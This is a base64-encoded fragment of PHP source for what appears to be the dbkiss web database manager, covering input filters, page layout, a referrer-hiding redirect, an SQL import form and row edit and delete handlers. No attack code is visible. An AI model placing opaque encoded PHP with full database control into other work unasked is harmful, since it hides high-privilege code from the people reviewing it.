VVNFUl9FUlJPUik7DQoJCX0NCgkJJGZ1bmMgPSAnZmlsdGVyXycuJGZpbHRlcjsNCgkJaWYgKCFmdW5jdGlvbl9leGlzdHMoJGZ1bmMpKSB7DQoJCQlyZXR1cm4gdHJpZ2dlcl9lcnJvcihzcHJpbnRmKCdmaWx0ZXIoKSBmYWlsZWQuIEZpbHRlciBtaXNzaW5nID0gJXMuJywgJGZ1bmMpLCBFX1VTRVJfRVJST1IpOw0KCQl9DQoJCSRwb3N0WyRrZXldID0gY2FsbF91c2VyX2Z1bmMoJGZ1bmMsICRwb3N0WyRrZXldKTsNCgl9DQoJcmV0dXJuICRwb3N0Ow0KfQ0KZnVuY3Rpb24gZmlsdGVyX2h0bWwoJHMpDQp7DQoJaWYgKHJlcV9ncGNfaGFzKCRzKSkgew0KCQkkcyA9IGh0bWxfdGFnc191bmRvKCRzKTsNCgl9DQoJcmV0dXJuIGh0bWwodHJpbSgkcykpOw0KfQ0KZnVuY3Rpb24gZmlsdGVyX2FsbG93X3RhZ3MoJHMsICRhbGxvdykNCnsNCglpZiAocmVxX2dwY19oYXMoJHMpKSB7DQoJCSRzID0gaHRtbF90YWdzX3VuZG8oJHMpOw0KCX0NCglyZXR1cm4gaHRtbF9hbGxvd190YWdzKCRzLCAkYWxsb3cpOw0KfQ0KZnVuY3Rpb24gZmlsdGVyX2FsbG93X2h0bWwoJHMpDQp7DQoJZ2xvYmFsICRTYWZlSHRtbDsNCglpZiAoIWlzc2V0KCRTYWZlSHRtbCkpIHsNCgkJaW5jbHVkZV9vbmNlICdpbmMvU2FmZUh0bWwucGhwJzsNCgl9DQoJaWYgKHJlcV9ncGNfaGFzKCRzKSkgew0KCQkkcyA9IGh0bWxfdGFnc191bmRvKCRzKTsNCgl9DQoJaWYgKGluX2FycmF5KHRyaW0oc3RydG9sb3dlcigkcykpLCBhcnJheSgnPGJyPicsICc8cD4mbmJzcDs8L3A+JykpKSB7DQoJCXJldHVybiAnJzsNCgl9DQoJJFNhZmVIdG1sLT5jbGVhcigpOw0KCSRzID0gJFNhZmVIdG1sLT5wYXJzZSgkcyk7DQoJcmV0dXJuIHRyaW0oJHMpOw0KfQ0KZnVuY3Rpb24gZmlsdGVyX2FsbG93X2h0bWxfc2NyaXB0KCRzKQ0Kew0KCWlmIChpbl9hcnJheSh0cmltKHN0cnRvbG93ZXIoJHMpKSwgYXJyYXkoJzxicj4nLCAnPHA+Jm5ic3A7PC9wPicpKSkgew0KCQlyZXR1cm4gJyc7DQoJfQ0KCWlmIChyZXFfZ3BjX2hhcygkcykpIHsNCgkJJHMgPSBodG1sX3RhZ3NfdW5kbygkcyk7DQoJfQ0KCXJldHVybiB0cmltKCRzKTsNCn0NCmZ1bmN0aW9uIGZpbHRlcl9lZGl0b3IoJHMpDQp7DQoJcmV0dXJuIGZpbHRlcl9hbGxvd19odG1sKCRzKTsNCn0NCmZ1bmN0aW9uIGRhdGVfbm93KCkNCnsNCglyZXR1cm4gZGF0ZSgnWS1tLWQgSDppOnMnKTsNCn0NCmZ1bmN0aW9uIGd1ZXNzX3BrKCRyb3dzKQ0Kew0KCWlmICghY291bnQoJHJvd3MpKSB7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoJJHBhdHRlcm5zID0gYXJyYXkoJyNeXGQrJCMnLCAnI15bXlxzXSskIycpOw0KCSRyb3cgPSBhcnJheV9maXJzdCgkcm93cyk7DQoJZm9yZWFjaCAoJHBhdHRlcm5zIGFzICRwYXR0ZXJuKQ0KCXsNCgkJZm9yZWFjaCAoJHJvdyBhcyAkY29sID0+ICR2KSB7DQoJCQlpZiAoJHYgJiYgcHJlZ19tYXRjaCgkcGF0dGVybiwgJHYpKSB7DQoJCQkJaWYgKGFycmF5X2NvbF9tYXRjaF91bmlxdWUoJHJvd3MsICRjb2wsICRwYXR0ZXJuKSkgew0KCQkJCQlyZXR1cm4gJGNvbDsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gbGF5b3V0X3N0YXJ0KCR0aXRsZT0nJykNCnsNCglnbG9iYWwgJHBhZ2VfY2hhcnNldDsNCgkkZmxhc2ggPSBmbGFzaCgpOw0KCT8+DQoNCgk8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMSBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvbG9vc2UuZHRkIj4NCgk8aHRtbD4NCgk8aGVhZD4NCgkJPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9PD9waHAgZWNobyAkcGFnZV9jaGFyc2V0Oz8+Ij4NCgkJPHRpdGxlPjw/cGhwIGVjaG8gJHRpdGxlOz8+PC90aXRsZT4NCgkJPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOyA/Pj9kYmtpc3NfZmF2aWNvbj0xIj4NCgkJPHNjcmlwdD4NCgkJZnVuY3Rpb24gJChpZCkNCgkJew0KCQkJaWYgKHR5cGVvZiBpZCA9PSAnc3RyaW5nJykgcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCgkJCXJldHVybiBpZDsNCgkJfQ0KCQk8L3NjcmlwdD4NCgk8L2hlYWQ+DQoJPGJvZHk+DQoNCgk8P3BocCBsYXlvdXQoKTsgPz4NCg0KCTw/cGhwIGlmICgkZmxhc2gpIHsgZWNobyAkZmxhc2g7IH0gPz4NCg0KCTw/cGhwDQp9DQpmdW5jdGlvbiBsYXlvdXRfZW5kKCkNCnsNCgk/Pg0KCTw/cGhwIHBvd2VyZWRfYnkoKTsgPz4NCgk8L2JvZHk+DQoJPC9odG1sPg0KCTw/cGhwDQp9DQpmdW5jdGlvbiBwb3dlcmVkX2J5KCkNCnsNCgk/Pg0KCQk8c2NyaXB0Pg0KCQlmdW5jdGlvbiBsaW5rX25vcmVmZXJlcihsaW5rKQ0KCQl7DQoJCQkvLyBUZXN0ZWQ6IENocm9tZSwgRmlyZWZveCwgSW5ldHJuZXQgRXhwbG9yZXIsIE9wZXJhLg0KCQkJdmFyIHcgPSB3aW5kb3cub3BlbigiYWJvdXQ6YmxhbmsiLCAiX2JsYW5rIik7DQoJCQl3LmRvY3VtZW50Lm9wZW4oKTsNCgkJCXcuZG9jdW1lbnQud3JpdGUoIjwiKyIhZG9jdHlwZSBodG1sPiIpOw0KCQkJdy5kb2N1bWVudC53cml0ZSgiPCIrImh0bWw+PCIrImhlYWQ+Iik7DQoJCQl3LmRvY3VtZW50LndyaXRlKCI8IisidGl0bGU+U2VjdXJlIHJlZGlyZWN0aW9uPC90aXRsZT4iKTsNCgkJCXcuZG9jdW1lbnQud3JpdGUoIjwiKyJzdHlsZT5ib2R5IHsgZm9udDogMTFweCBUYWhvbWE7IH08IisiL3N0eWxlPiIpOw0KCQkJdy5kb2N1bWVudC53cml0ZSgiPCIrIm1ldGEgaHR0cC1lcXVpdj1yZWZyZXNoIGNvbnRlbnQ9JzEwO3VybD0iK2xpbmsrIic+Iik7DQoJCQkvLyBNZXRhLnNldEF0dHJpYnV0ZSgpIGRvZXNuJ3Qgd29yayBvbiBmaXJlZm94Lg0KCQkJLy8gRmlyZWZveDogbmVlZHMgZG9jdW1lbnQud3JpdGUoJzxtZXRhPicpDQoJCQkvLyBJRTogdGhlIGZpcmVmb3ggd29ya2Fyb3VuZCBkb2Vzbid0IHdvcmsgb24gaWUsIGJ1dCB3ZSBjYW4gdXNlIGEgbm9ybWFsIHJlZGlyZWN0aW9uDQoJCQkvLyAgICAgIGFzIElFIGlzIGFscmVhZHkgbm90IHNlbmRpbmcgdGhlIHJlZmVyZXIgYmVjYXVzZSBpdCBkb2VzIG5vdCBkbyBpdCB3aGVuIHVzaW5nDQoJCQkvLyAgICAgIG9wZW4ud2luZG93LCBiZXNpZGVzIHRoZSBibGFuayB1cmwgaW4gYWRkcmVzcyBiYXIgd29ya3MgZmluZSAoYWJvdXQ6YmxhbmspLg0KCQkJLy8gT3BlcmE6IGZpcmVmb3ggZml4IHdvcmtzLg0KCQkJdy5kb2N1bWVudC53cml0ZSgiPCIrInNjcmlwdD5mdW5jdGlvbiByZWRpcmVjdCgpIHsgaWYgKG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZignTVNJRScpICE9IC0xKSB7IGxvY2F0aW9uLnJlcGxhY2UoJyIrbGluaysiJyk7IH0gZWxzZSB7IGRvY3VtZW50Lm9wZW4oKTsgZG9jdW1lbnQud3JpdGUoJzwiKyJtZXRhIGh0dHAtZXF1aXY9cmVmcmVzaCBjb250ZW50PVwiMDsiK2xpbmsrIlwiPicpOyBkb2N1bWVudC5jbG9zZSgpOyB9IH08IisiL3NjcmlwdD4iKTsNCgkJCXcuZG9jdW1lbnQud3JpdGUoIjwiKyIvaGVhZD48IisiYm9keT4iKTsNCgkJCXcuZG9jdW1lbnQud3JpdGUoIjwiKyJoMT5TZWN1cmUgcmVkaXJlY3Rpb248IisiL2gxPiIpOw0KCQkJdy5kb2N1bWVudC53cml0ZSgiPCIrInA+VGhpcyBpcyBhIHNlY3VyZSByZWRpcmVjdGlvbiB0aGF0IGhpZGVzIHRoZSBIVFRQIFJFRkVSRVIgaGVhZGVyIC0gdXNpbmcgamF2YXNjcmlwdCBhbmQgbWV0YSByZWZyZXNoIGNvbWJpbmF0aW9uLiIpOw0KCQkJdy5kb2N1bWVudC53cml0ZSgiPGJyPlRoZSBzaXRlIHlvdSBhcmUgYmVpbmcgcmVkaXJlY3RlZCB3aWxsIG5vdCBrbm93IHRoZSBsb2NhdGlvbiBvZiB0aGUgZGJraXNzIHNjcmlwdCBvbiB5b3VyIHNpdGUuPCIrIi9wPiIpOw0KCQkJdy5kb2N1bWVudC53cml0ZSgiPCIrInA+SW4gMTAgc2Vjb25kcyB5b3Ugd2lsbCBiZSByZWRpcmVjdGVkIHRvIHRoZSBmb2xsb3dpbmcgYWRkcmVzczogPCIrImEgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApJyBvbmNsaWNrPSdyZWRpcmVjdCgpJz4iK2xpbmsrIjwiKyIvYT48YnI+Iik7DQoJCQl3LmRvY3VtZW50LndyaXRlKCJDbGlja2luZyB0aGUgbGluayBpcyBhbHNvIHNlY3VyZSwgc28gaWYgeW91IGRvIG5vdCB3aXNoIHRvIHdhaXQsIHRoZW4gY2xpY2sgaXQuPCIrIi9wPiIpOw0KCQkJdy5kb2N1bWVudC53cml0ZSgiPCIrIi9ib2R5PjwiKyIvaHRtbD4iKTsNCgkJCXcuZG9jdW1lbnQuY2xvc2UoKTsNCgkJfQ0KCQk8L3NjcmlwdD4NCgkJPGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBtYXJnaW4tdG9wOiAyZW07IGJvcmRlci10b3A6ICNjY2MgMXB4IHNvbGlkOyBwYWRkaW5nLXRvcDogMC41ZW07Ij5Qb3dlcmVkIGJ5IDxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0ibGlua19ub3JlZmVyZXIoJ2h0dHBzOi8vY29kZS5nb29nbGUuY29tL3AvZGJraXNzLycpIj5kYmtpc3M8L2E+PC9kaXY+DQoJPD9waHANCn0NCg0KPz4NCjw/cGhwIGlmIChnZXQoJ2ltcG9ydCcpKTogPz4NCg0KCTw/cGhwDQoNCgkvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoJLy8gSU1QT1JUDQoJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoJPz4NCg0KCTwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRNTCA0LjAxIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9sb29zZS5kdGQiPg0KCTxodG1sPg0KCTxoZWFkPg0KCQk8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD08P3BocCBlY2hvICRwYWdlX2NoYXJzZXQ7Pz4iPg0KCQk8dGl0bGU+PD9waHAgZWNobyAkZGJfbmFtZV9oMT8kZGJfbmFtZV9oMTokZGJfbmFtZTs/PiAmZ3Q7IEltcG9ydDwvdGl0bGU+DQoJCTxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4/ZGJraXNzX2Zhdmljb249MSI+DQoJPC9oZWFkPg0KCTxib2R5Pg0KDQoJPD9waHAgbGF5b3V0KCk7ID8+DQoJPGgxPjxhIGNsYXNzPWJsdWUgc3R5bGU9Ijw/cGhwIGVjaG8gJGRiX25hbWVfc3R5bGU7Pz4iIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iPjw/cGhwIGVjaG8gJGRiX25hbWVfaDE/JGRiX25hbWVfaDE6JGRiX25hbWU7Pz48L2E+ICZndDsgSW1wb3J0PC9oMT4NCgk8P3BocCBjb25uX2luZm8oKTsgPz4NCg0KCTw/cGhwICRmaWxlcyA9IHNxbF9maWxlcygpOyA/Pg0KDQoJPD9waHAgaWYgKGNvdW50KCRmaWxlcykpOiA/Pg0KCQk8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iIG1ldGhvZD0icG9zdCI+DQoJCTx0YWJsZSBjbGFzcz0ibm9uZSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJPHRyPg0KCQkJPHRkPlNRTCBmaWxlOjwvdGg+DQoJCQk8dGQ+PHNlbGVjdCBuYW1lPSJzcWxmaWxlIj48b3B0aW9uIHZhbHVlPSIiIHNlbGVjdGVkPSJzZWxlY3RlZCI+PC9vcHRpb24+PD9waHAgZWNobyBvcHRpb25zKCRmaWxlcyk7Pz48L3NlbGVjdD48L3RkPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iaWdub3JlX2Vycm9ycyIgaWQ9Imlnbm9yZV9lcnJvcnMiIHZhbHVlPSIxIj48L3RkPg0KCQkJPHRkPjxsYWJlbCBmb3I9Imlnbm9yZV9lcnJvcnMiPmlnbm9yZSBlcnJvcnM8L2xhYmVsPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0cmFuc2FjdGlvbiIgaWQ9InRyYW5zYWN0aW9uIiB2YWx1ZT0iMSI+PC90ZD4NCgkJCTx0ZD48bGFiZWwgZm9yPSJ0cmFuc2FjdGlvbiI+dHJhbnNhY3Rpb248L2xhYmVsPjwvdGQ+DQoJCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmb3JjZV9teWlzYW0iIGlkPSJmb3JjZV9teWlzYW0iIHZhbHVlPSIxIj48L3RkPg0KCQkJPHRkPjxsYWJlbCBmb3I9ImZvcmNlX215aXNhbSI+Zm9yY2UgbXlpc2FtPC9sYWJlbD48L3RkPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1IiBuYW1lPSJxdWVyeV9zdGFydCIgdmFsdWU9IiI+PC90ZD4NCgkJCTx0ZD5xdWVyeSBzdGFydDwvdGQ+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkltcG9ydCI+PC90ZD4NCgkJPC90cj4NCgkJPC90YWJsZT4NCgkJPC9mb3JtPg0KCQk8YnI+DQoJPD9waHAgZWxzZTogPz4NCgkJTm8gc3FsIGZpbGVzIGZvdW5kIGluIGN1cnJlbnQgZGlyZWN0b3J5Lg0KCTw/cGhwIGVuZGlmOyA/Pg0KDQoJPD9waHAgcG93ZXJlZF9ieSgpOyA/Pg0KDQoJPC9ib2R5PjwvaHRtbD4NCg0KPD9waHAgZXhpdDsgZW5kaWY7ID8+DQo8P3BocCBpZiAoJ2VkaXRyb3cnID09IGdldCgnYWN0aW9uJykpOiA/Pg0KPD9waHANCglmdW5jdGlvbiBkYmtpc3NfZmlsdGVyX2lkKCRpZCkNCgl7DQoJCSMgbXlzcWwgYWxsb3dzIHRhYmxlIG5hbWVzIG9mOiBgNjItNTExYA0KCQkjIGFsc28sIGNvbHVtbnMgbWlnaHQgYmUgbnVtZXJpYyBleC4gYDYyYA0KCQlpZiAocHJlZ19tYXRjaCgnI15bX2EtejAtOV1bYS16MC05X1wtXSokI2knLCAkaWQpKSB7DQoJCQlyZXR1cm4gJGlkOw0KCQl9DQoJCXJldHVybiBmYWxzZTsNCgl9DQoNCgkkZ2V0ID0gZ2V0KGFycmF5KA0KCQkndGFibGUnID0+ICdzdHJpbmcnLA0KCQkncGsnID0+ICdzdHJpbmcnLA0KCQknaWQnID0+ICdzdHJpbmcnDQoJKSk7DQoNCgkkZ2V0Wyd0YWJsZSddID0gaHRtbF9vbmNlKCRnZXRbJ3RhYmxlJ10pOw0KCSRnZXRbJ3BrJ10gPSBodG1sX29uY2UoJGdldFsncGsnXSk7DQoNCgkkdGl0bGVfZWRpdCA9IHNwcmludGYoJ0VkaXQgcm93ICglcz0lcyknLCAkZ2V0WydwayddLCAkZ2V0WydpZCddKTsNCgkkdGl0bGUgPSAnICZndDsgJy4kZ2V0Wyd0YWJsZSddLicgJmd0OyAnLiR0aXRsZV9lZGl0Ow0KDQoJaWYgKCFkYmtpc3NfZmlsdGVyX2lkKCRnZXRbJ3RhYmxlJ10pKSB7DQoJCWVycm9yKCdJbnZhbGlkIHRhYmxlIG5hbWUnKTsNCgl9DQoJaWYgKCFkYmtpc3NfZmlsdGVyX2lkKCRnZXRbJ3BrJ10pKSB7DQoJCWVycm9yKCdJbnZhbGlkIHBrJyk7DQoJfQ0KDQoJJHJvdyA9IGZhbHNlOw0KDQoJaWYgKCFlcnJvcigpKQ0KCXsNCgkJJHRhYmxlX2VucSA9IHF1b3RlX3RhYmxlKCRnZXRbJ3RhYmxlJ10pOw0KCQkkdGVzdCA9IGRiX3JvdygiU0VMRUNUICogRlJPTSAkdGFibGVfZW5xIik7DQoJCWlmICgkdGVzdCkgew0KCQkJaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRnZXRbJ3BrJ10sICR0ZXN0KSkgew0KCQkJCWVycm9yKCdJbnZhbGlkIHBrJyk7DQoJCQl9DQoJCX0NCgkJaWYgKCFlcnJvcigpKQ0KCQl7DQoJCQkkdGFibGVfZW5xID0gcXVvdGVfdGFibGUoJGdldFsndGFibGUnXSk7DQoJCQkkcXVlcnkgPSBkYl9iaW5kKCJTRUxFQ1QgKiBGUk9NICR0YWJsZV9lbnEgV0hFUkUgeyRnZXRbJ3BrJ119ID0gJTAiLCAkZ2V0WydpZCddKTsNCgkJCSRxdWVyeSA9IGRiX2xpbWl0KCRxdWVyeSwgMCwgMik7DQoJCQkkcm93cyA9IGRiX2xpc3QoJHF1ZXJ5KTsNCgkJCWlmIChjb3VudCgkcm93cykgPiAxKSB7DQoJCQkJZXJyb3IoJ0ludmFsaWQgcGs6IGZvdW5kIG1vcmUgdGhhbiBvbmUgcm93IHdpdGggZ2l2ZW4gaWQnKTsNCgkJCX0gZWxzZSBpZiAoY291bnQoJHJvd3MpID09IDApIHsNCgkJCQllcnJvcignUm93IG5vdCBmb3VuZCcpOw0KCQkJfSBlbHNlIHsNCgkJCQkkcm93ID0gJHJvd3NbMF07DQoJCQkJJHJvd19pZCA9ICRyb3dbJGdldFsncGsnXV07DQoJCQl9DQoJCX0NCgl9DQoNCglpZiAoJHJvdykgew0KCQkkdHlwZXMgPSB0YWJsZV90eXBlczIoJGdldFsndGFibGUnXSk7DQoJfQ0KDQoJJGVkaXRfYWN0aW9uc19hc3NvYyA9IGFycmF5KA0KCQkndXBkYXRlJyA9PiAnVXBkYXRlJywNCgkJJ3VwZGF0ZV9waycgPT4gJ092ZXJ3cml0ZSBwaycsDQoJCSdpbnNlcnQnID0+ICdDb3B5IHJvdyAoaW5zZXJ0KScsDQoJCSdkZWxldGUnID0+ICdEZWxldGUnDQoJKTsNCg0KCSRlZGl0X2FjdGlvbiA9IHBvc3QoJ2Ria2lzc19hY3Rpb24nKTsNCg0KCWlmICgkX0VOVlsnSVNfR0VUJ10pDQoJew0KCQkkZWRpdF9hY3Rpb24gPSBhcnJheV9maXJzdF9rZXkoJGVkaXRfYWN0aW9uc19hc3NvYyk7DQoJCSRwb3N0ID0gJHJvdzsNCgl9DQoNCglpZiAoJF9FTlZbJ0lTX1BPU1QnXSkNCgl7DQoJCWlmICghYXJyYXlfa2V5X2V4aXN0cygkZWRpdF9hY3Rpb24sICRlZGl0X2FjdGlvbnNfYXNzb2MpKSB7DQoJCQkkZWRpdF9hY3Rpb24gPSAnJzsNCgkJCWVycm9yKCdJbnZhbGlkIGFjdGlvbicpOw0KCQl9DQoNCgkJJHBvc3QgPSBhcnJheSgpOw0KCQlmb3JlYWNoICgkcm93IGFzICRrID0+ICR2KSB7DQoJCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygkaywgJF9QT1NUKSkgew0KCQkJCSR2YWwgPSAoc3RyaW5nKSAkX1BPU1RbJGtdOw0KCQkJCWlmICgnbnVsbCcgPT0gJHZhbCkgew0KCQkJCQkkdmFsID0gbnVsbDsNCgkJCQl9DQoJCQkJaWYgKCdpbnQnID09ICR0eXBlc1ska10pIHsNCgkJCQkJaWYgKCFzdHJsZW4oJHZhbCkpIHsNCgkJCQkJCSR2YWwgPSBudWxsOw0KCQkJCQl9DQoJCQkJCWlmICghKHByZWdfbWF0Y2goJyNeLT9cZCskIycsICR2YWwpIHx8IGlzX251bGwoJHZhbCkpKSB7DQoJCQkJCQllcnJvcignJXM6IGludmFsaWQgdmFsdWUnLCAkayk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJaWYgKCdmbG9hdCcgPT0gJHR5cGVzWyRrXSkgew0KCQkJCQlpZiAoIXN0cmxlbigkdmFsKSkgew0KCQkJCQkJJHZhbCA9IG51bGw7DQoJCQkJCX0NCgkJCQkJJHZhbCA9IHN0cl9yZXBsYWNlKCcsJywgJy4nLCAkdmFsKTsNCgkJCQkJaWYgKCEoaXNfbnVtZXJpYygkdmFsKSB8fCBpc19udWxsKCR2YWwpKSkgew0KCQkJCQkJZXJyb3IoJyVzOiBpbnZhbGlkIHZhbHVlJywgJGspOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWlmICgndGltZScgPT0gJHR5cGVzWyRrXSkgew0KCQkJCQlpZiAoIXN0cmxlbigkdmFsKSkgew0KCQkJCQkJJHZhbCA9IG51bGw7DQoJCQkJCX0NCgkJCQkJaWYgKCdub3cnID09ICR2YWwpIHsNCgkJCQkJCSR2YWwgPSBkYXRlX25vdygpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCSRwb3N0WyRrXSA9ICR2YWw7DQoJCQl9IGVsc2Ugew0KCQkJCWVycm9yKCdNaXNzaW5nIGtleTogJXMgaW4gUE9TVCcsICRrKTsNCgkJCX0NCgkJfQ0KDQoJCWlmICgndXBkYXRlJyA9PSAkZWRpdF9hY3Rpb24pDQoJCXsNCgkJCWlmICgkcG9zdFskZ2V0WydwayddXSAhPSAkcm93WyRnZXRbJ3BrJ11dKSB7DQoJCQkJaWYgKGNvdW50KCRyb3cpICE9IDEpIHsgLy8gQ2FzZTogbW9yZSB0aGFuIDEgY29sdW1uDQoJCQkJCWVycm9yKCclczogY2Fubm90IGNoYW5nZSBwayBvbiBVUERBVEUnLCAkZ2V0WydwayddKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJaWYgKCd1cGRhdGVfcGsnID09ICRlZGl0X2FjdGlvbikNCgkJew0KCQkJaWYgKCRwb3N0WyRnZXRbJ3BrJ11dID09ICRyb3dbJGdldFsncGsnXV0pIHsNCgkJCQllcnJvcignJXM6IHNlbGVjdGVkIGFjdGlvbiBPdmVyd3JpdGUgcGssIGJ1dCBwayB2YWx1ZSBoYXMgbm90IGNoYW5nZWQnLCAkZ2V0WydwayddKTsNCgkJCX0NCgkJfQ0KCQlpZiAoJ2luc2VydCcgPT0gJGVkaXRfYWN0aW9uKQ0KCQl7DQoJCQlpZiAoc3RybGVuKCRwb3N0WyRnZXRbJ3BrJ11dKSkgew0KCQkJCSR0YWJsZV9lbnEgPSBxdW90ZV90YWJsZSgkZ2V0Wyd0YWJsZSddKTsNCgkJCQkkdGVzdCA9IGRiX3JvdygiU0VMRUNUICogRlJPTSAkdGFibGVfZW5xIFdIRVJFIHskZ2V0WydwayddfSA9ICUwIiwgYXJyYXkoJHBvc3RbJGdldFsncGsnXV0pKTsNCgkJCQlpZiAoJHRlc3QpIHsNCgkJCQkJZXJyb3IoJyVzOiB0aGVyZSBpcyBhbHJlYWR5IGEgcmVjb3JkIHdpdGggdGhhdCBpZCcsICRnZXRbJ3BrJ10pOw0KCQkJCX0NCgkJCX0NCgkJfQ0KDQoJCWlmICghZXJyb3IoKSkNCgkJew0KCQkJJHBvc3QyID0gJHBvc3Q7DQoJCQlpZiAoJ3VwZGF0ZScgPT0gJGVkaXRfYWN0aW9uKQ0KCQkJew0KCQkJCWlmIChjb3VudCgkcm93KSAhPSAxKSB7IC8vIENhc2U6IG1vcmUgdGhhbiAxIGNvbHVtbg0KCQkJCQl1bnNldCgkcG9zdDJbJGdldFsncGsnXV0pOw0KCQkJCX0NCgkJCQlkYl91cGRhdGUoJGdldFsndGFibGUnXSwgJHBvc3QyLCBhcnJheSgkZ2V0WydwayddID0+ICRyb3dfaWQpKTsNCgkJCQlpZiAoZGJfZXJyb3IoKSkgew0KCQkJCQllcnJvcignPGZvbnQgY29sb3I9InJlZCI+PGI+REIgZXJyb3I8L2I+PC9mb250PjogJy5kYl9lcnJvcigpKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZiAoY291bnQoJHJvdykgPT0gMSkgeyAvLyBDYXNlOiBvbmx5IDEgY29sdW1uDQoJCQkJCQlyZWRpcmVjdF9vayh1cmwoc2VsZigpLCBhcnJheSgnaWQnPT4kcG9zdFskZ2V0WydwayddXSkpLCAnUm93IHVwZGF0ZWQnKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXJlZGlyZWN0X29rKHNlbGYoKSwgJ1JvdyB1cGRhdGVkJyk7DQoJCQkJCX0NCgkJCQl9DQoJCQl9DQoJCQlpZiAoJ3VwZGF0ZV9waycgPT0gJGVkaXRfYWN0aW9uKQ0KCQkJew0KCQkJCUBkYl91cGRhdGUoJGdldFsndGFibGUnXSwgJHBvc3QyLCBhcnJheSgkZ2V0WydwayddID0+ICRyb3dfaWQpKTsNCgkJCQlpZiAoZGJfZXJyb3IoKSkgew0KCQkJCQllcnJvcignPGZvbnQgY29sb3I9InJlZCI+PGI+REIgZXJyb3I8L2I+PC9mb250PjogJy5kYl9lcnJvcigpKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkdXJsID0gdXJsKHNlbGYoKSwgYXJyYXkoJ2lkJyA9PiAkcG9zdFskZ2V0WydwayddXSkpOw0KCQkJCQlyZWRpcmVjdF9vaygkdXJsLCAnUm93IHVwZGF0ZWQgKHBrIG92ZXJ3cml0dGVuKScpOw0KCQkJCX0NCgkJCX0NCgkJCWlmICgnaW5zZXJ0JyA9PSAkZWRpdF9hY3Rpb24pDQoJCQl7DQoJCQkJJG5ld19pZCA9IGZhbHNlOw0KCQkJCWlmICghc3RybGVuKCRwb3N0MlskZ2V0WydwayddXSkpIHsNCgkJCQkJdW5zZXQoJHBvc3QyWyRnZXRbJ3BrJ11dKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkbmV3X2lkID0gJHBvc3QyWyRnZXRbJ3BrJ11dOw0KCQkJCX0NCgkJCQlAZGJfaW5zZXJ0KCRnZXRbJ3RhYmxlJ10sICRwb3N0Mik7DQoJCQkJaWYgKGRiX2Vycm9yKCkpIHsNCgkJCQkJZXJyb3IoJzxmb250IGNvbG9yPSJyZWQiPjxiPkRCIGVycm9yPC9iPjwvZm9udD46ICcuZGJfZXJyb3IoKSk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJaWYgKCEkbmV3X2lkKSB7DQoJCQkJCQkkbmV3X2lkID0gZGJfaW5zZXJ0X2lkKCRnZXRbJ3RhYmxlJ10sICRnZXRbJ3BrJ10pOw0KCQkJCQl9DQoJCQkJCSR1cmwgPSB1cmwoc2VsZigpLCBhcnJheSgnaWQnPT4kbmV3X2lkKSk7DQoJCQkJCSRtc2cgPSBzcHJpbnRmKCdSb3cgaW5zZXJ0ZWQgKCVzPSVzKScsICRnZXRbJ3BrJ10sICRuZXdfaWQpOw0KCQkJCQlyZWRpcmVjdF9vaygkdXJsLCAkbXNnKTsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoJ2RlbGV0ZScgPT0gJGVkaXRfYWN0aW9uKQ0KCQkJew0KCQkJCSR0YWJsZV9lbnEgPSBxdW90ZV90YWJsZSgkZ2V0Wyd0YWJsZSddKTsNCgkJCQlAZGJfZXhlKCJERUxFVEUgRlJPTSAkdGFibGVfZW5xIFdIRVJFIHskZ2V0WydwayddfSA9ICUwIiwgJGdldFsnaWQnXS